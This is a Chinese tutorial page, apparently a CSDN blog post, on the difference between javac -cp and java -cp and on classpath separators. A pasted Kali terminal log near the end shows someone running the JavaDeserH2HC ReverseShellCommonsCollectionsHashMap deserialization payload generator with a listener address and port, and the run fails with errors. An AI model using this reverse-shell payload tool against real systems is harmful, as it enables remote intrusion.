java -cp V.S. javac -cp

本文详细介绍了Java编译及执行过程中路径配置的方法。包括如何使用javac命令进行带路径编译,以及如何通过-java-cp参数指定类路径来执行.class文件。此外还解释了在不同操作系统中路径分隔符的区别。

首先介绍一下Javac的带路径编译,带包执行:

    编译的时候,只要在javac命令后面指明了.java文件的位置即可,但是在执行.class文件的时候,必须要进到.class包所在的路径,然后把此路径(即刚开始装jdk一直要配的CLASSPATH所包含的  )添加到CLASSPATH,或者随意在一个目录,然后将.class的包所在的路径(可以是相对路径也可以是绝对路径)添加到CLASSPATH即可;

   javac -cp 指明了.java文件里import的类的位置

   java -cp 指明了执行这个class文件所需要的所有类的包路径-即系统类加载器的路径(涉及到类加载机制)

   路径在linux中用:隔开  在windows中用;隔开

注意***:对于.class文件来说,只需要指明包的路径即可;但是对于jar文件来说,必须要指定全路径即路径+文件名的格式,不能只指定一个路径。


┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field transient java.util.HashMap java.util.HashSet.map accessible: module java.base does not "opens java.util" to unnamed module @76ed5528 at java.base/java.lang.reflect.AccessibleObject.throwInaccessibleObjectException(AccessibleObject.java:391) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:367) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:315) at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:183) at java.base/java.lang.reflect.Field.setAccessible(Field.java:177) at ReverseShellCommonsCollectionsHashMap.main(ReverseShellCommonsCollectionsHashMap.java:105)
最新发布
07-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值